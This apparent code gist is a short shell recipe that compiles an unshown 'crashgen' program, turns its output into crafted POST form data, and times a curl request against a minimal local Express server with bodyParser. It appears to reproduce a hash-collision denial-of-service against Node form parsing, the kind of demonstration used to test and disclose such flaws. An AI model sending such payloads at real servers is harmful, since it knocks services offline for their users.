gistfile1.txt

g++ -O3 crashgen.cpp -o crashgen
./crashgen > crash
^C
perl -p -e 's/\s+$/=1&/g' crash > postdata

cat>test.js <<EOF
var express = require('express');
var app = express.createServer();
app.use(express.bodyParser());
app.listen(9999);
app.post('/', function(req, res) {
  res.end(Object.keys(req.body).length + ': ok\n');
});
EOF

npm install express
node test.js &
time curl -d @postdata http://localhost:9999